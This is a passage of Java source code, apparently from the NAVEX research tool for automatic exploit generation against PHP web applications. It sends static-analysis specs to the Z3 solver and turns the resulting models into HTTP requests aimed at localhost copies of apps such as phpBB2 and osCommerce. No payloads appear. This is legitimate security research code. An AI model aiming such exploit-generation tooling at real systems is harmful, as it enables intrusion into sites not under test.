candidateUrls,List varval ) { 236 | if (model.getSolution() != null && model.getUrl() != null && model.getSolution().startsWith("SAT")){ 237 | int index = model.getUrl().indexOf("?"); 238 | if (index != -1 ) 239 | get = model.getUrl().substring(index+1); 240 | 241 | candidateUrls = resolveIncludeMapAndSolverModel(model, incMap, ""); 242 | varval = model.getNvps(); 243 | 244 | } 245 | 246 | 247 | } 248 | 249 | private static SolverModel getSolver(StaticFormulaInfo s) { 250 | 251 | Solver solve = new Solver(s.getFormula(), s.getSinkType()); 252 | String spec = solve.prepareSolver(); 253 | String part1 = s.getFile().replace("]", "");//.replace("/", "+"). 254 | String cFile = "staticAnalysisSpec"+part1+"__"+s.getLineno()+"__"+s.getNode_id()+"__"+s.getSinkType()+"__"+s.getUnique_id(); 255 | IO.writeToFile(cFile, spec, false); 256 | 257 | /* 258 | * sending spec files to Z3 solver 259 | */ 260 | 261 | Main.invokeSolver(cFile); 262 | 263 | System.out.println("---------------------------Done---"); 264 | 265 | 266 | /* 267 | * read the generated model and create an HTTP request 268 | */ 269 | 270 | SolverModel model = translateZ3model(cFile, s.getFile()); 271 | 272 | return model; 273 | 274 | } 275 | 276 | 277 | /* 278 | * This is very specific to the tested apps in navex 279 | * please edit before testing 280 | */ 281 | private static ArrayList findSrcUrl(String url) { 282 | ArrayList strl = null; 283 | String str=null; 284 | if (url.contains("/WeBid-v0.5.4")){ 285 | strl= new ArrayList(); 286 | str="http://localhost/WeBid-v0.5.4/admin/login.php"; 287 | strl.add(str); 288 | strl.add("http://localhost/WeBid-v0.5.4/index.php"); 289 | } 290 | else if(url.toLowerCase().contains("zen-cart-1.5.5e")){ 291 | strl= new ArrayList(); 292 | 293 | strl.add("http://localhost/zen-cart-1.5.5e/index.php"); 294 | } 295 | 296 | else if(url.toLowerCase().contains("/collabtive-12/")){ 297 | strl= new ArrayList(); 298 | 299 | strl.add("http://localhost/collabtive-12/index.php"); 300 | } 301 | 302 | else if(url.contains("/phpBB2/")){ 303 | strl= new ArrayList(); 304 | 305 | strl.add("http://localhost/phpBB2/index.php"); 306 | strl.add("http://localhost/phpBB2/admin/index.php"); 307 | } 308 | 309 | else if(url.toLowerCase().contains("/oscommerce-2.3.3/")){ 310 | strl= new ArrayList(); 311 | 312 | strl.add("http://localhost/oscommerce-2.3.3/catalog/index.php"); 313 | strl.add("http://localhost/oscommerce-2.3.3/catalog/admin/index.php"); 314 | } 315 | 316 | else if(url.toLowerCase().contains("/hotcrp-2.60/")){ 317 | strl= new ArrayList(); 318 | 319 | strl.add("http://localhost/hotcrp-2.60/index.php"); 320 | } 321 | 322 | return strl; 323 | } 324 | 325 | private static ArrayList resolveIncludeMapAndSolverModel(SolverModel model, 326 | HashMap> incMap, String fileName) { 327 | 328 | ArrayList cadidateUrls =null; 329 | if (model != null){ 330 | if (model.getSolution() != null && model.getSolution().startsWith("SAT")) 331 | { 332 | String urlOnly = null; 333 | if (model.getUrl().indexOf(".php") != -1) 334 | urlOnly= model.getUrl().substring(model.getUrl().lastIndexOf("/")+1, model.getUrl().indexOf(".php")+4); 335 | else if (model.getUrl().indexOf(".inc") != -1) 336 | urlOnly= model.getUrl().substring(model.getUrl().lastIndexOf("/")+1, model.getUrl().indexOf(".inc")+4); 337 | 338 | int start = model.getUrl().indexOf("localhost/")+10; 339 | String appName= model.getUrl().substring(start, model.getUrl().indexOf("/", start)); 340 | String fromAppNameToEnd = null; 341 | if (model.getUrl().indexOf(".php") != -1) 342 | fromAppNameToEnd =model.getUrl().substring(model.getUrl().indexOf(appName) , model.getUrl().indexOf(".php")+4) ; 343 | else if (model.getUrl().indexOf(".inc") != -1) 344 | fromAppNameToEnd =model.getUrl().substring(model.getUrl().indexOf(appName) , model.getUrl().indexOf(".inc")+4) ; 345 | 346 | System.out.println(" model.getUrl() "+ model.getUrl()+" urlOnly "+urlOnly+ 347 | " appName: "+appName+" fromAppNameToEnd :"+fromAppNameToEnd); 348 | if (!incMap.containsKey(fromAppNameToEnd) ){ 349 | 350 | cadidateUrls = new ArrayList(); 351 | for (Map.Entry> map: incMap.entrySet()){ 352 | if (map.getKey().contains(appName)){ 353 | for (String val : map.getValue()){ 354 | if ((val).contains(urlOnly) ){ 355 | System.out.println("val "+val); 356 | cadidateUrls.add(map.getKey()); 357 | } 358 | } 359 | } 360 | } 361 | } 362 | } 363 | } 364 | //model == null in case of ear vulnerabilities 365 | //"/var/www/html/" is the location of the deployed apps evaluated in navex. Edit as needed 366 | else { 367 | String urlOnly = null; 368 | //if there was post vars 369 | if (fileName.indexOf(".php") != -1) 370 | urlOnly= fileName.substring(fileName.lastIndexOf("/")+1, fileName.indexOf(".php")+4); 371 | else if (fileName.indexOf(".inc") != -1) 372 | urlOnly= fileName.substring(fileName.lastIndexOf("/")+1, fileName.indexOf(".inc")+4); 373 | 374 | int start = fileName.indexOf("/var/www/html/")+("/var/www/html/".length()); 375 | String appName= fileName.substring(start, fileName.indexOf("/", start)); 376 | String fromAppNameToEnd = null; 377 | if (fileName.indexOf(".php") != -1) 378 | fromAppNameToEnd =fileName.substring(fileName.indexOf(appName) , fileName.indexOf(".php")+4) ; 379 | else if (fileName.indexOf(".inc") != -1) 380 | fromAppNameToEnd =fileName.substring(fileName.indexOf(appName) , fileName.indexOf(".inc")+4) ; 381 | 382 | System.out.println(" fileName "+ fileName+" urlOnly "+urlOnly+ 383 | " appName: "+appName+" fromAppNameToEnd :"+fromAppNameToEnd); 384 | if (!incMap.containsKey(fromAppNameToEnd) ){ 385 | 386 | cadidateUrls = new ArrayList(); 387 | for (Map.Entry> map: incMap.entrySet()){ 388 | if (map.getKey().contains(appName)){ 389 | for (String val : map.getValue()){ 390 | //System.out.println("val "+val); 391 | if ((val).contains(urlOnly) ){ //val).equals(urlOnly) 392 | System.out.println("val "+val); 393 | cadidateUrls.add(map.getKey()); 394 | } 395 | } 396 | } 397 | } 398 | } 399 | } 400 | return cadidateUrls; 401 | 402 | } 403 | 404 | /* 405 | * "/var/www/html/" is the location of the deployed apps evaluated in navex. Edit as needed 406 | * Localhost is our test server. Edit as needed 407 | */ 408 | 409 | private static SolverModel translateZ3model(String cFile, String url) { 410 | 411 | url = url.replace("/var/www/html", "http://localhost").trim(); 412 | String[] mArgs = {cFile+".model", "" , url, "static"}; 413 | List params = null; 414 | SolverModel model = new SolverModel(); 415 | try { 416 | params = model.main(mArgs, null); 417 | } catch (ClientProtocolException e) { 418 | // TODO Auto-generated catch block 419 | e.printStackTrace(); 420 | } catch (IOException e) { 421 | // TODO Auto-generated catch block 422 | e.printStackTrace(); 423 | } catch (URISyntaxException e) { 424 | // TODO Auto-generated catch block 425 | e.printStackTrace(); 426 | }catch(IllegalThreadStateException e){ 427 | e.printStackTrace(); 428 | } 429 | 430 | System.out.println("the model url is "+model.getUrl()); 431 | System.out.println("the model is "+model.getNvps().toString()); 432 | 433 | return model; 434 | 435 | } 436 | 437 | 438 | 439 | 440 | } 441 | -------------------------------------------------------------------------------- /src/solver/StreamGobbler.java: -------------------------------------------------------------------------------- 1 | package navex.solver; 2 | 3 | //from https://www.javaworld.com/article/2071275/core-java/when-runtime-exec---won-t.html?page=2 4 | import java.util.*; 5 | import java.io.*; 6 | public class StreamGobbler extends Thread 7 | { 8 | 9 | 10 | InputStream is; 11 | String type; 12 | OutputStream os; 13 | 14 | public StreamGobbler(InputStream is, String type) 15 | { 16 | this(is, type, null); 17 | } 18 | StreamGobbler(InputStream is, String type, OutputStream redirect) 19 | { 20 | this.is = is; 21 | this.type = type; 22 | this.os = redirect; 23 | } 24 | 25 | public void run() 26 | { 27 | try 28 | { 29 | PrintWriter pw = null; 30 | if (os != null) 31 | pw = new PrintWriter(os); 32 | 33 | InputStreamReader isr = new InputStreamReader(is); 34 | BufferedReader br = new BufferedReader(isr); 35 | String line=null; 36 | while ( (line = br.readLine()) != null) 37 | { 38 | if (pw != null) 39 | pw.println(line); 40 | System.out.println(type + ">" + line); 41 | } 42 | if (pw != null) 43 | pw.flush(); 44 | } catch (IOException ioe) 45 | { 46 | ioe.printStackTrace(); 47 | } 48 | } 49 | } --------------------------------------------------------------------------------